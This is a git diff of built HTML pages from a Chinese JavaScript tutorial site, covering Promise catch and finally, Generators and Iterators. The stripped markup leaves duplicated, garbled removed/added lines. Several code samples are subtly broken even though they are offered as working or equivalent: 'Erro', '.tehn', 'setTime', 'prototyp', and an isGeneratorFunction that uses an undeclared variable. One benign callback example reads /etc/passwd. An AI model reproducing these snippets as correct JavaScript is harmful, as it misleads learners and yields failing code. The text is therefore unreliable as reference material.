                                                                    onrejected当 Promise 实例状态变为 Rejected 时执行的函数Function

                                                                    该函数拥有一个参数 reason(即 Rejected 的原因)。如果 onrejected 抛出一个错误或返回一个本身失败的 Promise,通过 catch() 返回的 Promise 状态将会变为 Rejected;否则,它将显示为成功 Fulfilled。

                                                                    方法说明

                                                                    如果 Promise 状态已经变成 Rejected,再抛出错误是无效的。

                                                                    const promise = new Promise((resolve, reject) => {
                                                                    resolve('ok');
                                                                    throw new Erro('test');
                                                                    });
                                                                    promise
                                                                    .then((value) => {
                                                                    // Output: 'ok'
                                                                    console.log(value);
                                                                    })
                                                                    .catch((err) => console.log(err));

                                                                    Promise 对象的错误具有冒泡性质,会一直向后传递,直到被捕获为止。也就是说,错误总是会被下一个 catch 语句捕获。

                                                                    getJSON('/post/data.json')
                                                                    .then((post) => getJSON(post.commentURL))
                                                                    .then((comments) => {
                                                                    // do something
                                                                    })
                                                                    .catch((err) => {
                                                                    // 处理前面三个Promise产生的错误
                                                                    });

                                                                    跟传统的 try/catch 代码块不同的是,如果没有使用 catch 方法指定错误处理的回调函数,Promise 对象抛出的错误不会传递到外层代码,即不会有任何反应。

                                                                    const foo = () => new Promise((resolve, reject) => resolve(x + 2)); // x 未声明
                                                                    foo().then(() => console.log('BINGO!'));
                                                                    setTime(() => console.log(123), 200);
                                                                    // Uncaght (in promise) ReferenceError: x is not defined
                                                                    // 123

                                                                    尽管浏览器会打印出 Promise 内部的错误,但是不会退出进程或终止脚本执行。这就是说,Promise 内部的错误不会影响到 Promise 外部的代码,通俗的说法就是 「Promise 会吃掉错误」。

                                                                    Promise.resolve()
                                                                    .catch((err) => console.log(err))
                                                                    .then((res) => console.log('BINGO!'));

                                                                    上面的代码因为没有报错,跳过了 catch 方法,直接执行后面的 .then() 方法。此时,要是 .then() 方法里面报错,就与前面的 .catch() 无关了。

                                                                    代码示例

                                                                    基本用法

                                                                    promise.then((val) => console.log('fulfilled:', val)).catch((err) => console.log('rejected:', err));
                                                                    // 等同于
                                                                    promise
                                                                    .then((val) => console.log('fulfilled:', val))
                                                                    .tehn(null, (err) => console.log('rejected:', err));

                                                                    函数中抛出错误

                                                                    const promise = new Promise((resolve, rejected) => rejected(123));
                                                                    -
                                                                    promise
                                                                    .catch((e) => {
                                                                    console.log(e);
                                                                    // Output: 123
                                                                    throw new Error(456);
                                                                    })
                                                                    .then((res) => {
                                                                    console.log(res);
                                                                    // No Output
                                                                    })
                                                                    .catch((e) => {
                                                                    console.log(e);
                                                                    // Output: 456
                                                                    });

                                                                    参考资料

                                                                    +
                                                                    promise
                                                                    .catch((e) => {
                                                                    console.log(e);
                                                                    // Output: 123
                                                                    throw new Error(456);
                                                                    })
                                                                    .then((res) => {
                                                                    console.log(res);
                                                                    // No Output
                                                                    })
                                                                    .catch((e) => {
                                                                    console.log(e);
                                                                    // Output: 456
                                                                    });

                                                                    参考资料

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/finally/index.html b/standard-built-in-objects/control-abstraction-objects/finally/index.html index 462412a0c..1088e860c 100644 --- a/standard-built-in-objects/control-abstraction-objects/finally/index.html +++ b/standard-built-in-objects/control-abstraction-objects/finally/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.prototype.finally - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.prototype.finally

                                                                    ⭐️ ES2018(ES9)新特性

                                                                    Promise.prototype.finally 方法用于指定 Promise 实例状态变更结束后,无论状态为 Fulfilled 或是 Rejected,都会执行的函数。

                                                                    这为 Promise 是否成功完成后都需要执行的代码提供了一种方式。这避免了同样的语句需要在 then()catch() 中各写一遍的情况。

                                                                    语法

                                                                    语法:

                                                                    promiseInstance.finally(onfinally);

                                                                    类型声明:

                                                                    interface Promise<T> {
                                                                    finally(onfinally?: (() => void) | undefined | null): Promise<T>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
                                                                    onfinallyPromise 结束后调用的函数Function

                                                                    方法说明

                                                                    如果项在 Promise 执行完毕后无论其结果如何都做一些处理时,finally() 方法可能是有用的。

                                                                    finally 虽然与 .then(onfulfilled, onrejected) 类似,它们不同的是:

                                                                    • 调用内联函数时,不需要多次声明该函数或为该函数创建一个变量保存它
                                                                    • 由于无法知道 Promise 的最终状态,所以 finally 的回调函数中不接收任何参数,它仅用于无论最终结果如何都要执行的情况

                                                                    代码示例

                                                                    const promise = new Promise((resolve, reject) => {
                                                                    setTimeout(() => {
                                                                    resolve('success');
                                                                    }, 1000);
                                                                    })
                                                                    .then((res) => {
                                                                    console.log(res);
                                                                    })
                                                                    .catch((err) => {
                                                                    console.log(err);
                                                                    })
                                                                    .finally(() => {
                                                                    console.log('finally');
                                                                    });

                                                                    兼容性代码

                                                                    MockPromise.prototyp.finally = function (onFinally) {
                                                                    return this.then(
                                                                    function (value) {
                                                                    return MockPromise.resolve(onFinally()).then(function () {
                                                                    return value;
                                                                    });
                                                                    },
                                                                    function (err) {
                                                                    return MockPromise.resolve(onFinally()).then(function () {
                                                                    throw err;
                                                                    });
                                                                    }
                                                                    );
                                                                    };

                                                                    参考资料

                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.prototype.finally

                                                                    ⭐️ ES2018(ES9)新特性

                                                                    Promise.prototype.finally 方法用于指定 Promise 实例状态变更结束后,无论状态为 Fulfilled 或是 Rejected,都会执行的函数。

                                                                    这为 Promise 是否成功完成后都需要执行的代码提供了一种方式。这避免了同样的语句需要在 then()catch() 中各写一遍的情况。

                                                                    语法

                                                                    语法:

                                                                    promiseInstance.finally(onfinally);

                                                                    类型声明:

                                                                    interface Promise<T> {
                                                                    finally(onfinally?: (() => void) | undefined | null): Promise<T>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
                                                                    onfinallyPromise 结束后调用的函数Function

                                                                    方法说明

                                                                    如果项在 Promise 执行完毕后无论其结果如何都做一些处理时,finally() 方法可能是有用的。

                                                                    finally 虽然与 .then(onfulfilled, onrejected) 类似,它们不同的是:

                                                                    • 调用内联函数时,不需要多次声明该函数或为该函数创建一个变量保存它
                                                                    • 由于无法知道 Promise 的最终状态,所以 finally 的回调函数中不接收任何参数,它仅用于无论最终结果如何都要执行的情况

                                                                    代码示例

                                                                    const promise = new Promise((resolve, reject) => {
                                                                    setTimeout(() => {
                                                                    resolve('success');
                                                                    }, 1000);
                                                                    })
                                                                    .then((res) => {
                                                                    console.log(res);
                                                                    })
                                                                    .catch((err) => {
                                                                    console.log(err);
                                                                    })
                                                                    .finally(() => {
                                                                    console.log('finally');
                                                                    });

                                                                    兼容性代码

                                                                    MockPromise.prototyp.finally = function (onFinally) {
                                                                    return this.then(
                                                                    function (value) {
                                                                    return MockPromise.resolve(onFinally()).then(function () {
                                                                    return value;
                                                                    });
                                                                    },
                                                                    function (err) {
                                                                    return MockPromise.resolve(onFinally()).then(function () {
                                                                    throw err;
                                                                    });
                                                                    }
                                                                    );
                                                                    };

                                                                    参考资料

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/generator-async/index.html b/standard-built-in-objects/control-abstraction-objects/generator-async/index.html index 73cf4a217..b7709961b 100644 --- a/standard-built-in-objects/control-abstraction-objects/generator-async/index.html +++ b/standard-built-in-objects/control-abstraction-objects/generator-async/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Generator 函数的异步应用 - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Generator 函数的异步应用

                                                                    ES6 诞生以前,异步编程的方法,大概有下面四种。

                                                                    • 回调函数
                                                                    • 事件监听
                                                                    • 发布/订阅
                                                                    • Promise 对象

                                                                    Generator 函数将 JavaScript 异步编程带入了一个全新的阶段。

                                                                    基本概念

                                                                    异步

                                                                    所谓异步,简单说就是一个任务不是连续完成的,可以理解成该任务被人为分成两段,先执行第一段,然后转而执行其他任务,等做好了准备,再回过头执行第二段。

                                                                    比如,有一个任务是读取文件进行处理,任务的第一段是向操作系统发出请求,要求读取文件。然后,程序执行其他任务,等到操作系统返回文件,再接着执行任务的第二段(处理文件)。这种不连续的执行,就叫做异步

                                                                    相应地,连续的执行就叫做同步。由于是连续执行,不能插入其他任务,所以操作系统从硬盘读取文件的这段时间,程序只能干等着。

                                                                    回调函数

                                                                    JavaScript 语言对异步编程的实现,就是回调函数。所谓回调函数,就是把任务的第二段单独写在一个函数里面,等到重新执行这个任务的时候,就直接调用这个函数。回调函数的英语名字 callback,直译过来就是重新调用

                                                                    读取文件进行处理,是这样写的。

                                                                    fs.readFile('/etc/passwd', 'utf-8', function(err, data) {
                                                                    if (err) throw err;
                                                                    console.log(data);
                                                                    });

                                                                    上面代码中,readFile 函数的第三个参数,就是回调函数,也就是任务的第二段。等到操作系统返回了 /etc/passwd 这个文件以后,回调函数才会执行。

                                                                    一个有趣的问题是,为什么 Node 约定,回调函数的第一个参数,必须是错误对象 err(如果没有错误,该参数就是 null)?

                                                                    原因是执行分成两段,第一段执行完以后,任务所在的上下文环境就已经结束了。在这以后抛出的错误,原来的上下文环境已经无法捕捉,只能当作参数,传入第二段。

                                                                    Promise

                                                                    回调函数本身并没有问题,它的问题出现在多个回调函数嵌套。假定读取文件 A 之后,再读取文件 B,代码如下。

                                                                    fs.readFile(fileA, 'utf-8', function(err, data) {
                                                                    fs.readFile(fileB, 'utf-8', function(err, data) {
                                                                    // ...
                                                                    });
                                                                    });

                                                                    不难想象,如果依次读取两个以上的文件,就会出现多重嵌套。代码不是纵向发展,而是横向发展,很快就会乱成一团,无法管理。因为多个异步操作形成了强耦合,只要有一个操作需要修改,它的上层回调函数和下层回调函数,可能都要跟着修改。这种情况就称为 回调函数地狱(callback hell)。

                                                                    Promise 对象就是为了解决这个问题而提出的。它不是新的语法功能,而是一种新的写法,允许将回调函数的嵌套,改成链式调用。采用 Promise,连续读取多个文件,写法如下。

                                                                    const readFile = require('fs-readfile-promise');
                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Generator 函数的异步应用

                                                                    ES6 诞生以前,异步编程的方法,大概有下面四种。

                                                                    • 回调函数
                                                                    • 事件监听
                                                                    • 发布/订阅
                                                                    • Promise 对象

                                                                    Generator 函数将 JavaScript 异步编程带入了一个全新的阶段。

                                                                    基本概念

                                                                    异步

                                                                    所谓异步,简单说就是一个任务不是连续完成的,可以理解成该任务被人为分成两段,先执行第一段,然后转而执行其他任务,等做好了准备,再回过头执行第二段。

                                                                    比如,有一个任务是读取文件进行处理,任务的第一段是向操作系统发出请求,要求读取文件。然后,程序执行其他任务,等到操作系统返回文件,再接着执行任务的第二段(处理文件)。这种不连续的执行,就叫做异步

                                                                    相应地,连续的执行就叫做同步。由于是连续执行,不能插入其他任务,所以操作系统从硬盘读取文件的这段时间,程序只能干等着。

                                                                    回调函数

                                                                    JavaScript 语言对异步编程的实现,就是回调函数。所谓回调函数,就是把任务的第二段单独写在一个函数里面,等到重新执行这个任务的时候,就直接调用这个函数。回调函数的英语名字 callback,直译过来就是重新调用

                                                                    读取文件进行处理,是这样写的。

                                                                    fs.readFile('/etc/passwd', 'utf-8', function(err, data) {
                                                                    if (err) throw err;
                                                                    console.log(data);
                                                                    });

                                                                    上面代码中,readFile 函数的第三个参数,就是回调函数,也就是任务的第二段。等到操作系统返回了 /etc/passwd 这个文件以后,回调函数才会执行。

                                                                    一个有趣的问题是,为什么 Node 约定,回调函数的第一个参数,必须是错误对象 err(如果没有错误,该参数就是 null)?

                                                                    原因是执行分成两段,第一段执行完以后,任务所在的上下文环境就已经结束了。在这以后抛出的错误,原来的上下文环境已经无法捕捉,只能当作参数,传入第二段。

                                                                    Promise

                                                                    回调函数本身并没有问题,它的问题出现在多个回调函数嵌套。假定读取文件 A 之后,再读取文件 B,代码如下。

                                                                    fs.readFile(fileA, 'utf-8', function(err, data) {
                                                                    fs.readFile(fileB, 'utf-8', function(err, data) {
                                                                    // ...
                                                                    });
                                                                    });

                                                                    不难想象,如果依次读取两个以上的文件,就会出现多重嵌套。代码不是纵向发展,而是横向发展,很快就会乱成一团,无法管理。因为多个异步操作形成了强耦合,只要有一个操作需要修改,它的上层回调函数和下层回调函数,可能都要跟着修改。这种情况就称为 回调函数地狱(callback hell)。

                                                                    Promise 对象就是为了解决这个问题而提出的。它不是新的语法功能,而是一种新的写法,允许将回调函数的嵌套,改成链式调用。采用 Promise,连续读取多个文件,写法如下。

                                                                    const readFile = require('fs-readfile-promise');
                                                                    readFile(fileA)
                                                                    .then(function(data) {
                                                                    console.log(data.toString());
                                                                    })
                                                                    .then(function() {
                                                                    return readFile(fileB);
                                                                    })
                                                                    .then(function(data) {
                                                                    console.log(data.toString());
                                                                    })
                                                                    .catch(function(err) {
                                                                    console.log(err);
                                                                    });

                                                                    上面代码中,我使用了 fs-readfile-promise 模块,它的作用就是返回一个 Promise 版本的 readFile 函数。Promise 提供 then 方法加载回调函数,catch 方法捕捉执行过程中抛出的错误。

                                                                    可以看到,Promise 的写法只是回调函数的改进,使用 then 方法以后,异步任务的两段执行看得更清楚了,除此以外,并无新意。

                                                                    Promise 的最大问题是代码冗余,原来的任务被 Promise 包装了一下,不管什么操作,一眼看去都是一堆 then,原来的语义变得很不清楚。

                                                                    Generator 函数

                                                                    协程

                                                                    传统的编程语言,早有异步编程的解决方案(其实是多任务的解决方案)。其中有一种叫做 协程(coroutine),意思是多个线程互相协作,完成异步任务。

                                                                    协程有点像函数,又有点像线程。它的运行流程大致如下。

                                                                    • 第一步,协程 A 开始执行。
                                                                    • 第二步,协程 A 执行到一半,进入暂停,执行权转移到协程 B
                                                                    • 第三步,(一段时间后)协程 B 交还执行权。
                                                                    • 第四步,协程 A 恢复执行。

                                                                    上面流程的协程 A,就是异步任务,因为它分成两段(或多段)执行。

                                                                    举例来说,读取文件的协程写法如下。

                                                                    function* asyncJob() {
                                                                    // ...其他代码
                                                                    var f = yield readFile(fileA);
                                                                    // ...其他代码
                                                                    }

                                                                    上面代码的函数 asyncJob 是一个协程,它的奥妙就在其中的 yield 命令。它表示执行到此处,执行权将交给其他协程。也就是说,yield 命令是异步两个阶段的分界线。

                                                                    协程遇到 yield 命令就暂停,等到执行权返回,再从暂停的地方继续往后执行。它的最大优点,就是代码的写法非常像同步操作,如果去除 yield 命令,简直一模一样。

                                                                    协程的 Generator 函数实现

                                                                    Generator 函数是协程在 ES6 的实现,最大特点就是可以交出函数的执行权(即暂停执行)。

                                                                    整个 Generator 函数就是一个封装的异步任务,或者说是异步任务的容器。异步操作需要暂停的地方,都用 yield 语句注明。Generator 函数的执行方法如下。

                                                                    function* gen(x) {
                                                                    var y = yield x + 2;
                                                                    return y;
                                                                    }
                                                                    const generator = gen(1);
                                                                    generator.next(); // { value: 3, done: false }
                                                                    generator.next(); // { value: undefined, done: true }

                                                                    上面代码中,调用 Generator 函数,会返回一个内部指针(即遍历器)generator。这是 Generator 函数不同于普通函数的另一个地方,即执行它不会返回结果,返回的是指针对象。调用指针 generatornext 方法,会移动内部指针(即执行异步任务的第一段),指向第一个遇到的 yield 语句,上例是执行到 x + 2 为止。

                                                                    换言之,next 方法的作用是分阶段执行 Generator 函数。

                                                                    每次调用 next 方法,会返回一个对象,表示当前阶段的信息(value 属性和 done 属性)。

                                                                    • value 属性是 yield 语句后面表达式的值,表示当前阶段的值
                                                                    • done 属性是一个布尔值,表示 Generator 函数是否执行完毕,即是否还有下一个阶段。

                                                                    Generator 函数的数据交换和错误处理

                                                                    Generator 函数可以暂停执行恢复执行,这是它能封装异步任务的根本原因。

                                                                    除此之外,它还有两个特性,使它可以作为异步编程的完整解决方案:函数体内外的数据交换错误处理机制

                                                                    next 返回值的 value 属性,是 Generator 函数向外输出数据;next 方法还可以接受参数,向 Generator 函数体内输入数据。

                                                                    function* gen(x) {
                                                                    var y = yield x + 2;
                                                                    return y;
                                                                    }
                                                                    @@ -69,12 +72,12 @@
                                                                    g.next().value.then(function(data) {
                                                                    g.next(data).value.then(function(data) {
                                                                    g.next(data);
                                                                    });
                                                                    });

                                                                    手动执行其实就是用 then 方法,层层添加回调函数。理解了这一点,就可以写出一个自动执行器。

                                                                    function run(gen) {
                                                                    var g = gen();
                                                                    function next(data) {
                                                                    var result = g.next(data);
                                                                    if (result.done) return result.value;
                                                                    result.value.then(function(data) {
                                                                    next(data);
                                                                    });
                                                                    }
                                                                    next();
                                                                    }
                                                                    -
                                                                    run(gen);

                                                                    上面代码中,只要 Generator 函数还没执行到最后一步,next 函数就调用自身,以此实现自动执行。

                                                                    +
                                                                    run(gen);

                                                                    上面代码中,只要 Generator 函数还没执行到最后一步,next 函数就调用自身,以此实现自动执行。

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/generator/index.html b/standard-built-in-objects/control-abstraction-objects/generator/index.html index 16f742e40..bca03a20c 100644 --- a/standard-built-in-objects/control-abstraction-objects/generator/index.html +++ b/standard-built-in-objects/control-abstraction-objects/generator/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Generator - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Generator

                                                                    Generator 函数是 ES6 提供的一种异步编程解决方案,语法行为与传统函数完全不同。

                                                                    本篇着重介绍 语法及 API,异步编程应用参考 Generator 函数的异步应用

                                                                    状态机

                                                                    Generator 函数有多种理解角度。语法上,首先可以把它理解成,Generator 函数是一个状态机,封装了多个内部状态。

                                                                    执行 Generator 函数会返回一个遍历器对象,也就是说,Generator 函数除了状态机,还是一个 遍历器对象 生成函数。返回的遍历器对象,可以依次遍历 Generator 函数内部的每一个状态。

                                                                    函数特征

                                                                    形式上,Generator 函数是一个普通函数,但是有两个特征

                                                                    • function 关键字与函数名之间有一个星号(*
                                                                    • 函数体内部使用 yield(中文 生产/产出 的意思)表单式,定义不同的内部状态
                                                                    function* helloWorldGenerator() {
                                                                    yield 'Hello';
                                                                    yield 'World';
                                                                    return 'Ending';
                                                                    }
                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Generator

                                                                    Generator 函数是 ES6 提供的一种异步编程解决方案,语法行为与传统函数完全不同。

                                                                    本篇着重介绍 语法及 API,异步编程应用参考 Generator 函数的异步应用

                                                                    状态机

                                                                    Generator 函数有多种理解角度。语法上,首先可以把它理解成,Generator 函数是一个状态机,封装了多个内部状态。

                                                                    执行 Generator 函数会返回一个遍历器对象,也就是说,Generator 函数除了状态机,还是一个 遍历器对象 生成函数。返回的遍历器对象,可以依次遍历 Generator 函数内部的每一个状态。

                                                                    函数特征

                                                                    形式上,Generator 函数是一个普通函数,但是有两个特征

                                                                    • function 关键字与函数名之间有一个星号(*
                                                                    • 函数体内部使用 yield(中文 生产/产出 的意思)表单式,定义不同的内部状态
                                                                    function* helloWorldGenerator() {
                                                                    yield 'Hello';
                                                                    yield 'World';
                                                                    return 'Ending';
                                                                    }
                                                                    const hw = helloWorldGenerator();

                                                                    代码定义了一个 Generator 函数 helloWorldGenerator,它内部有两个 yield 表达式(helloworld),即该函数有三个状态:helloworldreturn 语句(结束执行)。

                                                                    调用方法

                                                                    Generator 函数的调用方法与普通函数一样,也是在函数名后面加上一对圆括号。不同的是,调用 Generator 函数后,该函数并不执行,返回的也不是函数运行结果,而是一个指向内部状态的指针对象,也就是 遍历器对象(Iterator Object)。

                                                                    下一步,必须调用遍历器对象的 next 方法,使得指针移向下一个状态。也就是说,每次调用 next 方法,内部指针就从函数头部或上一次停下来的地方开始执行,直到遇到下一个 yield 表达式(或 return 语句)为止。换言之,Generator 函数是分段执行的,yield 表达式是暂停执行的标记,而 next 方法可以恢复执行。

                                                                    hw.next();
                                                                    // { value: 'Hello', done: false }
                                                                    hw.next();
                                                                    // { value: 'World', done: false }
                                                                    hw.next();
                                                                    // { value: 'Ending', done: true }
                                                                    @@ -41,12 +44,12 @@
                                                                    gen.next(1); // Object {value: 1, done: true}
                                                                    // 相当于将 let result = yield x + y
                                                                    // 替换成 let result = 1;

                                                                    上面代码中,第二个 next(1) 方法就相当于将 yield 表达式替换成一个值 1。如果 next 方法没有参数,就相当于替换成 undefined

                                                                    throw() 是将 yield 表达式替换成一个 throw 语句。

                                                                    gen.throw(new Error('出错了')); // Uncaught Error: 出错了
                                                                    // 相当于将 let result = yield x + y
                                                                    // 替换成 let result = throw(new Error('出错了'));

                                                                    return() 是将 yield 表达式替换成一个 return 语句。

                                                                    gen.return(2); // Object {value: 2, done: true}
                                                                    -
                                                                    // 相当于将 let result = yield x + y
                                                                    // 替换成 let result = return 2;

                                                                    作为对象的函数

                                                                    如果一个对象的属性是 Generator 函数,可以简写成下面的形式。

                                                                    let obj = {
                                                                    *generator() {
                                                                    // ···
                                                                    },
                                                                    };

                                                                    上面代码中,generator 属性前面有一个星号,表示这个属性是一个 Generator 函数。

                                                                    它的完整形式如下,与上面的写法是等价的。

                                                                    let obj = {
                                                                    myGeneratorMethod: function*() {
                                                                    // ···
                                                                    },
                                                                    };

                                                                    判断方法

                                                                    生成器对象的判断方法

                                                                    function isGenerator(obj) {
                                                                    return obj && typeof obj.next === 'function' && typeof obj.throw === 'function';
                                                                    }

                                                                    生成器函数的判断方法

                                                                    function isGeneratorFunction() {
                                                                    var constructor = obj.constructor;
                                                                    if (!constructor) return false;
                                                                    if ('GeratorFunction' === constructor.name || 'GeneratorFunction' === constructor.displayName)
                                                                    return true;
                                                                    return isGenerator(constructor.prototype);
                                                                    }

                                                                    利用函数的 constructor 构造器的名字来判断,为了兼容性使用 namedisplayName 两个属性来进行判断. 这里递归调用 isGenerator 判断 constructor 的原型是因为有自定义迭代器的存在。


                                                                    参考书籍:

                                                                    +
                                                                    // 相当于将 let result = yield x + y
                                                                    // 替换成 let result = return 2;

                                                                    作为对象的函数

                                                                    如果一个对象的属性是 Generator 函数,可以简写成下面的形式。

                                                                    let obj = {
                                                                    *generator() {
                                                                    // ···
                                                                    },
                                                                    };

                                                                    上面代码中,generator 属性前面有一个星号,表示这个属性是一个 Generator 函数。

                                                                    它的完整形式如下,与上面的写法是等价的。

                                                                    let obj = {
                                                                    myGeneratorMethod: function*() {
                                                                    // ···
                                                                    },
                                                                    };

                                                                    判断方法

                                                                    生成器对象的判断方法

                                                                    function isGenerator(obj) {
                                                                    return obj && typeof obj.next === 'function' && typeof obj.throw === 'function';
                                                                    }

                                                                    生成器函数的判断方法

                                                                    function isGeneratorFunction() {
                                                                    var constructor = obj.constructor;
                                                                    if (!constructor) return false;
                                                                    if ('GeratorFunction' === constructor.name || 'GeneratorFunction' === constructor.displayName)
                                                                    return true;
                                                                    return isGenerator(constructor.prototype);
                                                                    }

                                                                    利用函数的 constructor 构造器的名字来判断,为了兼容性使用 namedisplayName 两个属性来进行判断. 这里递归调用 isGenerator 判断 constructor 的原型是因为有自定义迭代器的存在。


                                                                    参考书籍:

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/index.html b/standard-built-in-objects/control-abstraction-objects/index.html index 4a829ab94..8e4045d31 100644 --- a/standard-built-in-objects/control-abstraction-objects/index.html +++ b/standard-built-in-objects/control-abstraction-objects/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/iterator/index.html b/standard-built-in-objects/control-abstraction-objects/iterator/index.html index c17ba50b5..e5f5095d7 100644 --- a/standard-built-in-objects/control-abstraction-objects/iterator/index.html +++ b/standard-built-in-objects/control-abstraction-objects/iterator/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Iterator - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Iterator

                                                                    遍历器(Iterator)为各种不同的数据结构提供统一的接口访问机制。任何数据结构只要部署 Iterator 接口,即无须初始化集合,以及索引的变量,而是使用迭代器对象的 next 方法,依次返回集合的下一项值,便于逐项处理该数据结构的所有成员,偏向程序化。

                                                                    ES5 中的 Loop 的缺点

                                                                    循环方法缺点
                                                                    for 语句条件部分冗杂;多层嵌套需要定义多个变量,复杂度过高
                                                                    for...in 语句只能获取对象键名,需要通过属性访问器的方括号形式获取键值;只适用于对象,其他数组类型不适用
                                                                    forEach 方法不能中断,跳出循环

                                                                    迭代器

                                                                    迭代器是带有特殊接口的对象。含有一个 next() 方法,调用后返回一个包含两个属性的对象,分别是 value(表示属性值) 和 done(表示迭代是否完成)。当迭代完成后,即 done 属性为 true 时,调用 next() 无效。

                                                                    模拟 Iterator 的内部实现(实质是一个返回迭代器对象的工厂函数):

                                                                    let iterable = [1, 2, 3]
                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Iterator

                                                                    遍历器(Iterator)为各种不同的数据结构提供统一的接口访问机制。任何数据结构只要部署 Iterator 接口,即无须初始化集合,以及索引的变量,而是使用迭代器对象的 next 方法,依次返回集合的下一项值,便于逐项处理该数据结构的所有成员,偏向程序化。

                                                                    ES5 中的 Loop 的缺点

                                                                    循环方法缺点
                                                                    for 语句条件部分冗杂;多层嵌套需要定义多个变量,复杂度过高
                                                                    for...in 语句只能获取对象键名,需要通过属性访问器的方括号形式获取键值;只适用于对象,其他数组类型不适用
                                                                    forEach 方法不能中断,跳出循环

                                                                    迭代器

                                                                    迭代器是带有特殊接口的对象。含有一个 next() 方法,调用后返回一个包含两个属性的对象,分别是 value(表示属性值) 和 done(表示迭代是否完成)。当迭代完成后,即 done 属性为 true 时,调用 next() 无效。

                                                                    模拟 Iterator 的内部实现(实质是一个返回迭代器对象的工厂函数):

                                                                    let iterable = [1, 2, 3]
                                                                    function createIterator(array){
                                                                    let count = 0
                                                                    return {
                                                                    next: function(){
                                                                    return count < array.length ?
                                                                    {value: array[count], done: false}:
                                                                    {value: undefined, done: true}
                                                                    }
                                                                    }
                                                                    }
                                                                    let myIterator = createIterator(iterable)
                                                                    myIterator.next() // {value: 1, done: false}
                                                                    myIterator.next() // {value: 2, done: false}
                                                                    myIterator.next() // {value: 3, done: false}
                                                                    myIterator.next() // {value: undefined, done: true}

                                                                    迭代器协议

                                                                    迭代器对象不是新的语法或新的内置对象,而一种协议( 迭代器协议),所有遵守这个协议的对象,都可以称之为迭代器。也就是说我们上面 ES5 的写法得到的对象遵循迭代器协议,即包含 next,调用 next 返回一个result{value,done}

                                                                    可迭代对象

                                                                    满足可迭代协议的对象是可迭代对象。

                                                                    可迭代协议:对象的 Symbol.iterator 属性的值是一个无参函数,该函数返回一个迭代器。

                                                                    下面是数组的 Symbol.iterator 属性实现的迭代。

                                                                    const arr = [0, 1, 2]
                                                                    const iter = arr[Symbol.iterator]()
                                                                    @@ -36,12 +39,12 @@
                                                                    myIterable[Symbol.iterator] = function*(){
                                                                    yield 1
                                                                    yield 2
                                                                    yield 3
                                                                    }
                                                                    [...myIterable] // Output: [1, 2, 3]

                                                                    接受可迭代对象的内置 API

                                                                    许多 API 接受可迭代对象, 例如:Map([iterable])WeakMap([iterable])Set([iterable])WeakSet([iterable])

                                                                    var myObj = {};
                                                                    new Map([[1,"a"],[2,"b"],[3,"c"]]).get(2); // "b"
                                                                    new WeakMap([[{},"a"],[myObj,"b"],[{},"c"]]).get(myObj); // "b"
                                                                    new Set([1, 2, 3]).has(3); // true
                                                                    new Set("123").has("2"); // true
                                                                    new WeakSet(function*() {
                                                                    yield {};
                                                                    yield myObj;
                                                                    yield {};
                                                                    }()).has(myObj);

                                                                    另外还有 Promise.all(iterable)Promise.race(iterable) 以及 Array.from()

                                                                    for...of 循环

                                                                    for...of 接受一个可迭代对象(Iterable),或者能被强制转换/包装成一个可迭代对象的值。遍历时,for...of 会获取可迭代对象的 [Symbol.iterator](),对该迭代器逐次调用 next(),直到迭代器返回对象的 done 属性为 true 时,遍历结束,不对该 value 处理。

                                                                    for...of 循环实例:

                                                                    var a = ["a","b","c","d","e"];
                                                                    for (var val of a) {
                                                                    console.log( val );
                                                                    }
                                                                    // "a" "b" "c" "d" "e"

                                                                    转换成普通 for 循环示例,等价于上面 for...of 循环:

                                                                    var a = ["a","b","c","d","e"];
                                                                    -
                                                                    for (var val, ret, it = a[Symbol.iterator]();
                                                                    (ret = it.next()) && !ret.done;
                                                                    ) {
                                                                    val = ret.value;
                                                                    console.log( val );
                                                                    }
                                                                    // "a" "b" "c" "d" "e"

                                                                    参考文章

                                                                    +
                                                                    for (var val, ret, it = a[Symbol.iterator]();
                                                                    (ret = it.next()) && !ret.done;
                                                                    ) {
                                                                    val = ret.value;
                                                                    console.log( val );
                                                                    }
                                                                    // "a" "b" "c" "d" "e"

                                                                    参考文章

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/next/index.html b/standard-built-in-objects/control-abstraction-objects/next/index.html index 0b2de61d9..7c5d9dc34 100644 --- a/standard-built-in-objects/control-abstraction-objects/next/index.html +++ b/standard-built-in-objects/control-abstraction-objects/next/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Generator.prototype.next - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                      Generator.prototype.next

                                                                      +

                                                                      JavaScript Guidebook

                                                                      JavaScript 完全知识体系

